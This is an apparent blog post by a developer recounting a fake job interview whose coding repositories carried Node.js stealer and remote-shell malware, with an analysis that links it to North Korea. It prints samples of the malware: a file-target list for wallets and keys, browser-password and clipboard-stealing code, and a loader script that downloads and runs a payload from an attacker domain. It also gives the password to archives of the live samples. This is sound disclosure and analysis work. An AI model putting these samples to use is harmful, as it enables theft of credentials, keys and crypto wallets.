2026-09-25

PSA: AngelNova’s Interview Malware and Its North Korea Connection

NOTE: Despite the heavy use of AI for malware analysis - this article was fully written by hand.
Also, sorry for the very strong language. But I am very pissed off.

I was browsing LinkedIn (yeah... bad for my mental health) when a message showed up asking whether I was interested in a new job - sure. I am always up for a challenge, even if it is just to see what companies are doing in this day and age.

Initial message I got from AngelNova
Image: Initial message I got from AngelNova

The interview was scheduled unreasonably quickly, and the invitation came from a personal Gmail account. Thinking about it, that was the first weird thing - usually, this takes some time. It was also weird that the position was "CTO-level Go Engineer" - having been in the startup world long enough, I know that a CTO role is not about technical capabilities. That job is political and product-focused. It is management. And allowing part-time work???? Fine. Maybe this was some Web3 crypto bullshit that the group wanted to use to hype things up.

The interview invitation I got from AngelNova
Image: The interview invitation I got from AngelNova

While writing this article, I checked the Wayback Machine, and it seems they explicitly blocked it from archiving their site. No worries; this is the AI era now. I just gave my trusty GPT-6 Sol a little task.

Hello friend! I need a helping hand. I have evidence that this company is a scam, scamming interviewers and stealing their on-device keys.

https://angelnova.tech/

I have the malware being analyzed. The problem is that the website is not archivable by the Wayback Machine. Interesting. So please somehow scrape the entire thing so I have evidence.

And out popped the site, scraped by (AI-)hand and solidified.

You can view the saved website by running python3 evidence/view_capture.py.

The story

Back to the topic. The interview was WEIRD. The introduction was weak. Bla bla bla... web3 bla bla bla... AI bla bla bla platform. The interviewer was vague about company details, what they do, or even what they want from new hires. It is already weird enough that a Go position would want to hire me, an HPC engineer. I can do the job. It is arguably easier than HPC. But maybe someone cares about performance. The interviewer sent me to this repo containing a very simple Go coding challenge... for a supposedly CTO-level or equivalent position??? The code itself also made no sense. It is valid Go code, but it asks you to filter and sort a very small list and return it in a web page?? Dafaq?

And here is the compressed archive in case it gets removed from GitHub. See the end of the page for decryption instructions.

Even more weirdly, the interviewer insisted that I use VSCode instead of my usual Vim for quick coding sessions... fine?? Company policy? I do not think it is a reasonable request. But shitty interviewers have always been a problem. At this point, I was just thinking, holy shit, this company sucks. I would rather work at my local 7-11 than there. And the interviewer wanted me to open the VSCode terminal to switch branches... for some reason, instead of using KGX (the new GNOME terminal).

That challenge was easy. Then the interviewer sent me another link to demo their product - which I needed to run locally?? Dafaq???? And the interviewer asked if I had Node installed and asked me to verify its version???? AND the description reads:

AI Predictions: OpenAI GPT-4o generates betting recommendations with confidence scores.

You have got to be fucking kidding me. GPT-4o? When all the rage now is GPT-6 Astra and Claude Fable 5.1? That thing is... cute. At this point, my judgment had gone from "this is a shitty interview" to "this is malware... right?" and I proceeded to open my usual secured OpenBSD VM, where I put all suspicious files. The interviewer stopped me and said that, because of the OpenAI key, the program would not work. No... this IS malware. Good to know. He even wanted me to open VSCode again and run npm install. Then, when I refused, he even pasted the command npm i so I could run it.

I ended the interview there. This is malware.

Malware analysis 1

Knowing this was most likely malware... it is 2026, so let us use AI for malware analysis. In the OpenBSD VM, I copied the repository into a separate account with no doas access, masked the normal account's home permissions (good that I did that; we will see why later), and gave the current logged-in account permit nopass <account> to drop (drop is the account name with no privileges). I forked the VM and basically gave it this prompt:

I just had a weird interview. I have very good reasons to believe that the repo they sent is malware. I do not know what kind of malware it is or how dangerous it is. The interviewer really wants me to run npm on my real machine instead of a VM. I do not trust any of the content. Exercise extreme caution.

The repo in question is stored in the home directory of `drop`, which you can `doas` into without a password. That account has no privilege at all. You are on OpenBSD, so at least the blast radius is smaller. But be careful. Do not leak any information from the CWD or your active account. Good luck, and figure out what it does.

And out popped a long but otherwise simple chain of operations (with details omitted):

plaintext
[npm install]
       |
       | postinstall script runs
       v
[npm run dev]
       |
       | server startup imports TeamStats.js
       v
[Reads a fake "team" record]
       |
       | record contains an attacker URL on tiiny.site
       v
[Downloads JSON from that URL]
       |
       | executes the JSON's 4 MB `cookie` field as Node.js code
       | (I guess to confuse simpler L7 firewalls?)
       v
[Launches three detached malicious workers]
       |
       +--> [Browser credential stealer]
       |
       +--> [Sensitive file stealer: .ssh/ keys, etc.]
       |
       +--> [Remote shell / clipboard monitoring]

It is standard info-stealer and C2 malware, but written in JavaScript and running through your Node installation. The cookie payload is obfuscated. The AI helpfully constructed a secure scheme using QuickJS, with its import capability removed, to safely experiment with and de-obfuscate it. This showed that the stealer really wants your cryptocurrency keys, keys in general, certificates, documents, data, and images. The stealer also walks home directories according to macOS and UNIX conventions.

js
SENSITIVE_FILE_PATTERNS = [".keystore", "phone", "database", "bank", "financ", ".env", "env", "environment",
    "config", "configuration", "configure", ".conf", ".cfg", ".ini", ".properties", ".yaml", ".yml", ".toml",
    "metamask", "phantom", "bitcoin", "ethereum", "eth", "trust", "wallet", "coinbase", "exodus", "ledger",
    "trezor", "keystore", "keyring", "keychain", "atomic", "electrum", "mycelium", "blockchain", "bravewallet",
    "rabby", "coin98", "backpack", "core", "mathwallet", "solflare", "glow", "keplr", "argent", "martian", "petra",
    "binance", "okx", "crypto", "cryptocurrency", "hardhat", "truffle", "private", "privatekey", "private_key",
    "private-key", "privkey", "priv_key", "key", "keypair", "key_pair", "key-pair", ".pem", ".p12", ".pfx", ".jks",
    "keystore", ".keys", "keys", ".p8", ".p7b", ".p7c", ".cer", ".crt", ".cert", "cert", ".der", "id_rsa", "id_dsa",
    "id_ecdsa", "id_ed25519", ".pub", ".priv", "seed", "seedphrase", "seed_phrase", "seed-phrase", "mnemonic",
    "phrase", "passphrase", "pass_phrase", "pass-phrase", "recovery", "recoveryphrase", "recovery_phrase",
    "recovery-phrase", "backup", "backupphrase", "backup_phrase", "backup-phrase", "12words", "12_words",
    "12-words", "24words", "24_words", "24-words", "bip39", "bip44", "password", "passwd", "pass", "pwd",
    "credential", "credentials", "auth", "authentication", "token", "access_token", "refresh_token", "api_key",
    "apikey", "api-key", "apisecret", "api_secret", "api-secret", "secret", "secrets", "secretkey", "secret_key",
    "secret-key", "masterkey", "master_key", "master-key", "masterpassword", "master_password", "master-password",
    "account", "accounts", "profile", "profiles", "user", "username", "user_name", "user-name", "login", "signin",
    "sign_in", "sign-in", "address", "addresses", "tx", "transaction", "transactions", ".db", ".sqlite", ".sqlite3",
    ".sql", ".mdb", ".accdb", ".dbf", ".doc", ".docx", ".pdf", ".md", ".markdown", ".rtf", ".odt", ".xls", ".xlsx",
    ".txt", "text", "note", "notes", "memo", "memos", "screenshot", "screen", "snapshot", "capture", ".png", ".jpg",
    ".jpeg", ".bmp", ".json", ".js", ".ts", ".jsx", ".tsx", ".csv", ".xml", ".lock", ".log", ".bak", "backup",
    ".old", ".orig", ".save", ".swp", ".tmp", "tmp", "my", "personal", "vault", "safe", "secure", "lock", "encrypt",
    "decrypt", "signature", "sign", "certificate", "cert", "identity", "session", "cookie"
];

And the browser stealer contains non-minified SQL query. I like that this malware, although crude, was likely written by a human. It has that heartwarming feeling of a fellow trying, and the one attacking you is at least someting alive.

js
db = new SQL.Database(fileBuffer);
result = db.exec("\n      SELECT \n        origin_url,\n        username_value,\n        password_value,\n        date_created,\n        date_last_used\n      FROM logins\n      ORDER BY origin_url\n    ");

The remote-shell payload is a lot more competent. The payload creates a plain, unencrypted WebSocket connection to the C2 server and starts accepting commands. Interestingly, it includes a mechanism that allows victim machines to identify themselves - the C2 server can send a whour command, and the machine replies with whoIm. I will not document the C2 protocol here, as that is outside the scope of what I intend to share publicly.

jsonenvironment
{
    "ukey": 703,
    "t": 7,
    "host": "703_VICTIM-HOSTNAME",
    "os": "...",
    "username": "..."
}

Looking at reports online, the payload I found contains a new clipboard monitor that is not mentioned in any previous reports I could find. The C2 payload also acts like an info stealer (I guess to steal passwords from password managers?), polling every 1 s for new content to report back to the C2 server (there is only one). getClipboardContent() eventually calls platform-specific CLI tools to retrieve the clipboard content. On Linux, this invokes xclip -selection clipboard -o or xsel --clipboard --output; on macOS, pbpaste. On Windows, base64-encoded Add-Type -AssemblyName System.Windows.Forms $clipboard = [System.Windows.Forms.Clipboard]::GetText() if ($clipboard) { $clipboard } else { '' } is passed into powershell -NoProfile -WindowStyle Hidden -EncodedCommand <base64>.

The clipboard stealer feels a lot more amateur than the C2 protocol. It lacks support for other UNIX-like systems such as *BSD, despite needing no additional code, and lacks Wayland support without XWayland. I also vaguely remember that antimalware on Windows hates -EncodedCommand and will stop execution and raise an alarm.

Although the same piece of code establishes a WebSocket connection to the C2 server, it sends clipboard data to a separate /api/log endpoint on the same C2 machine using plain HTTP.

js
async function checkClipboard() {
    const currentContent = await getClipboardContent();

    if (
        currentContent !== null &&
        currentContent !== lastContent &&
        currentContent !== ""
    ) {
        await sendLog(currentContent);
        lastContent = currentContent;
    }

    setTimeout(checkClipboard, 1000);
}

However, the malware launcher does not seem to have any persistence capabilities and hard-codes the C2 server's IP to X.X.X.X. No code touches .bashrc, .zshrc, or systemd user units. I do not think they intend for the machine to remain online long term. The only way for the C2 to start after a reboot is to run npm again from the repository. That is baffling. I get that stealing cookies and keys once gets you most of the value. But they went to the trouble of establishing a remote shell - that is useful long term. The only conclusion I can draw is attacker skill issue.

Malware analysis EP 2

I thought I had dodged the bullet. But stepping back... wait... why did the scammer try to make me run VSCode and use the VSCode terminal? Wait... did it contain malware? Holy shit. I immediately distrusted the machine, banned the C2 server on my router, deleted and rotated all my SSH and API keys, and, until proven otherwise, treated the machine as untrusted.

I was right to check. Long story short, after another round of analysis, my machine seems to be safe because I instinctively hit Esc on the "do you trust this repo" prompt that VSCode showed - why would I trust it when all I wanted was a text editor? And no wonder they wanted me to use VSCode instead of Vim.

That piece of shit contains .vscode/settings.json, which replaces VS Code's default terminal profile. On Linux, opening a terminal launches a background command and fetches https://<attacker domain>/settings/linux?flag=3 - I have yet to understand what the flag does; sending any value returns the same content (maybe a campaign marker?), which is an obviously handwritten shell script piped into sh for execution. The script tries to detect Node.js and, if it cannot, install it locally. This then triggers the same C2 and stealer payload as the previous npm malware - also via npm. Overall, the attack chain is as follows:

plaintext
Trusted repository opened in VS Code
          ↓
User opens integrated terminal
          ↓
Malicious workspace terminal profile runs bash/zsh
          ↓
Downloader response is piped directly into sh
          ↓
vscode-bootstrap.sh is downloaded and detached
          ↓
Node located or portable Node installed under ~/.vscode
          ↓
npm install
          ↓
node ~/.vscode/env-setup.js
          ↓
Environment sent to Vercel; response eval()'d
          ↓
The same three detached Node malware workers

The worrying part I realized somewhere during investigation was the Esc key hit is instinctive. I barely remember it and I might be wrong. Not the best of practices but I fired up Codex and get the AI verify there's no traces of the malware on my actual system and VSCode's DB says I did not trust the repository... which phew... the machine is clean (it is not hard to do given the simplicity of the malware).

Even though I should be safe, out put precaution I still rotated my SSH key, kicked all my browser logins out (despite using FireFox, which they don't steal from by default) CLI tools logged out and verified that all boxes that accepting my SSH key are still secure.

Campaign, relations, and North Korea

I found several posts online describing the malware with the same structure - but the clipboard stealer seems new, along with NTT's original report of OtterCookie. The combined evidence strongly suggests that the attackers are North Korean or at least affiliated with North Korea.

The loader script I found was

bash
#!/bin/bash
set -e
echo "Authenticated"

TARGET_DIR="$HOME/.vscode"
mkdir -p "$TARGET_DIR"
clear
wget -q -O "$TARGET_DIR/vscode-bootstrap.sh" "https://legendary-marketplace.com/settings/bootstraplinux?flag=3"
clear
chmod +x "$TARGET_DIR/vscode-bootstrap.sh"
clear
nohup bash "$TARGET_DIR/vscode-bootstrap.sh" > /dev/null 2>&1 &
clear
exit 0

This is very similar to the one Andrii shared (screenshot), among the other chains of evidence.

Screenshot of the loader Andrii found
Image: Screenshot of the loader Andrii found

Like many samples found online, the code I encountered uses SuperStr0ngSecret@)@^ as its HMAC key (cringe, I know). It uses /tmp/pid.<t>.[1-3].lock to signal that the malware is running and prevent instances from racing each other. It uses the cookie JSON field for the payload. Etc., etc. So yeah... this is North Korea.

Now, let's look at the people behind the attack. Starting with Michelle Montesclaros, who first contacted me. Some Google-fu turns up a comment under an Orlegi Sports post in which Abhishek Jha complains about a similar scheme, where the same Michelle approached him about the EdgeForce betting platform. The interview process was then handed over to Dumitru Rotari for two coding tasks.

Thus, the claimed sequence of events looks like this:

text
[Michelle Montesclaros]
        |
        | claims Orlegi Sports affiliation
        v
[Malinda Stoner]
        |
        | claims EOS Venezuela affiliation
        v
[Dumitru Rotari]
        |
        | technical tasks over Microsoft Teams
        v
[Ysai Guilter]
        |
        | promised CTO interview
        v
[Two coding challenges containing malware]

The AngelNova sequence was:

text
[Michelle Montesclaros]
        |
        | claims AngelNova affiliation
        v
[Mark C. / markcelltech@gmail.com]
        |
        | technical interview over Google Meet
        v
[indexmal/go-tech-assignment]
        |            |
        v            |
[diemission1/demo]   |
        |            |
        v            v
[OtterCookie-lineage payload]

Interestingly, Dumitru Rotari is shown to be the CTO of AngelNova. And SignalHire says Michelle Montesclaros used to work at Shabak Consultants Inc. Following that line of clues, we can find more interesting results. Although the company page for Shabak Consultants on LinkedIn is defunct, we can find cached/aggregated results on the many LinkedIn scraper sites. On PeerList, Bethany Tanya is listed as working there. She has the exact same photo as Bethany Cole at AngelNova. And the LinkedIn link for Bethany Cole at AngelNova also goes to someone called Bethany Tanya. The profile is now private/deleted, though.

Dumitru Rotari on AngelNova's official website
Image: Dumitru Rotari on AngelNova's official website

Bethany {Tanya,Cole}'s profile pictures
Image: Bethany {Tanya,Cole}'s profile pictures
Bethany Cole's LinkedIn link goes to Tanya
Image: Bethany Cole's LinkedIn link goes to Tanya

I did not attempt to track this down further - these accounts are likely personas, possibly operated by a single person or an operation team, so I expect a low yield for the effort spent. It is safe to say that AngelNova is a front for the operation. And given the malware being distributed, the operation looks to be operated by, or affiliated with, a group from North Korea.

Conclusion

Digital hygiene and habits are very important. I was one click away from getting pwned. This post would have been a postmortem if I had not instinctively hit Esc on the trust prompt. Using Linux only made me safe from Windows- and macOS-specific (binary) exploits. Developer-facing attacks would use similar social engineering and would attempt to use your system's own interpreter for the attack.

Stay safe.

Decrypting the encrypted repository archives

The archives are encrypted to avoid common internet scanners flagging them as malware and thereby banning my website. You can decrypt them using GPG: gpg --decrypt /path/to/your/file.tar.zst.gpg > /path/to/your/file.tar.zst, with the password ymN4IMWfXh6JXdeUf2ZYIB8er4Tn11U3I5TzvLohjnzaCVdlgFKNqiPF02jx69Wk.

Gathered data

I have also collected related repos and pages from around the time of the specific attack. The attacker may have deleted the repositories they used to conceal their tracks. I have already shared more detailed findings and data with my security researcher friends. Feel free to send me an email if you are a security researcher who would like access to the data.